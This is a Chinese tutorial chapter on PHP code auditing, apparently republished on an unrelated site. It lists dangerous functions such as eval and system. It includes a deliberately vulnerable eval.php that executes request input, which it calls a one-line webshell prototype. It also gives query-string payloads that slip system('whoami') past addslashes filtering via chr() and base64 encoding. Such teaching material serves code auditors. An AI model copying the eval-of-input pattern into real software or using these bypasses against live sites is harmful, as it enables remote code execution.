【后端代码审计】第五章 PHP 危险函数

您所在的位置:网站首页 windows危险命令 【后端代码审计】第五章 PHP 危险函数

【后端代码审计】第五章 PHP 危险函数

2023-04-20 09:58| 来源: 网络整理| 查看: 265

PHP 中有一些函数是比较危险的,也是进行PHP 代码审计的时候需要重点关注的内容。

函数速查:

函数或语句或结构含义eval()assert()preg_replace()call_user_func()call_user_func_array()array_map()$a($b)system()exec()shell_exec()passthru()popen()反引号PHP 代码执行语句掌握PHP 代码执行的相关函数和语句eval 语句

eval() 会将符合PHP 语法规范字符串当作php 代码执行。

代码示例// eval.php // $code = "phpinfo();"; $code = $_REQUEST['code']; // echo $code; // var_dump($code); eval($code);

一句话木马原型。

绕过限制$code = empty($_REQUEST['code'])?'phpinfo();':$_REQUEST['code']; $code = addslashes($code); //echo $code; eval($code);

如果参数进入eval() 语句之前,进行了过滤,例如过滤了单双引号,可以采用如下方法进行绕过:

ASCII 编码system('whoami'); chr(115).chr(121).chr(115).chr(116).chr(101).chr(109).chr(40).chr(39).chr(119).chr(104).chr(111).chr(97).chr(109).chr(105).chr(39).chr(41).chr(59) ?code=eval(chr(115).chr(121).chr(115).chr(116).chr(101).chr(109).chr(40).chr(39).chr(119).chr(104).chr(111).chr(97).chr(109).chr(105).chr(39).chr(41).chr(59)); BASE64 编码system('whoami'); c3lzdGVtKCd3aG9hbWknKTs= ?code=eval(base64_decode(c3lzdGVtKCd3aG9hbWknKTs)); 说明

虽然可以以函数的方式调用eval(),但是eval() 不是PHP 的函数,是一种语法结构,不能动态调用。在eval() 执行的字符串要以分号结束。

其他命令执行的方式:

?code=phpinfo(); ?code=${phpinfo()}; ?code=ajest;phpinfo(); ?code=?>AJEST IS HANDSOME


【本文地址】


今日新闻


推荐新闻


CopyRight 2018-2019 办公设备维修网 版权所有 豫ICP备15022753号-3